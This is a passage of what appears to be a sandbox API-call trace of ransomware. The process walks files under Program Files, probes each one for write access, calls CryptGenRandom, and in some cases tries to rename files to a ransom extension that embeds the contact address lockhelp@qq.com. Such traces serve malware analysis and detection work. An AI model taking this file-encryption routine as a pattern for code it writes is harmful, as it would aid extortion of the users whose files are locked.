Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll")) returned 0x20 [0274.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.483] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.483] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=287744) returned 1 [0274.483] CloseHandle (hObject=0x37c) returned 1 [0274.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll")) returned 0x20 [0274.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.483] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.484] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=358904) returned 1 [0274.484] CloseHandle (hObject=0x37c) returned 1 [0274.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll")) returned 0x20 [0274.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.484] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.484] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=537088) returned 1 [0274.484] CloseHandle (hObject=0x37c) returned 1 [0274.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll")) returned 0x20 [0274.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\pdm.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.484] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.485] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=460) returned 1 [0274.485] CloseHandle (hObject=0x37c) returned 1 [0274.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0274.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.485] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.486] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=244736) returned 1 [0274.486] CloseHandle (hObject=0x37c) returned 1 [0274.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0274.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.487] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.487] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=44457320) returned 1 [0274.487] CloseHandle (hObject=0x37c) returned 1 [0274.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll")) returned 0x20 [0274.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll")) returned 0 [0274.488] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.488] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=12338536) returned 1 [0274.488] CloseHandle (hObject=0x37c) returned 1 [0274.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll")) returned 0x20 [0274.488] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.488] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll")) returned 0 [0274.489] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.489] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=8154984) returned 1 [0274.489] CloseHandle (hObject=0x37c) returned 1 [0274.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll")) returned 0x20 [0274.489] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.489] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll")) returned 0 [0274.489] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.490] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=318488) returned 1 [0274.490] CloseHandle (hObject=0x37c) returned 1 [0274.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll")) returned 0x20 [0274.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.490] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.490] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=666456) returned 1 [0274.490] CloseHandle (hObject=0x37c) returned 1 [0274.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 0x20 [0274.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.490] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.491] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=14872) returned 1 [0274.491] CloseHandle (hObject=0x37c) returned 1 [0274.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 0x20 [0274.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.549] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.694] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6970) returned 1 [0274.694] CloseHandle (hObject=0x30c) returned 1 [0274.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0274.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.702] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.748] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=10562) returned 1 [0274.748] CloseHandle (hObject=0x30c) returned 1 [0274.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0274.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.753] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.790] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=12981) returned 1 [0274.790] CloseHandle (hObject=0x310) returned 1 [0274.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20 [0274.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.793] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.812] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=7567) returned 1 [0274.812] CloseHandle (hObject=0x30c) returned 1 [0274.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20 [0274.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.823] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.862] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=8568) returned 1 [0274.863] CloseHandle (hObject=0x30c) returned 1 [0274.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20 [0274.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.866] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.876] 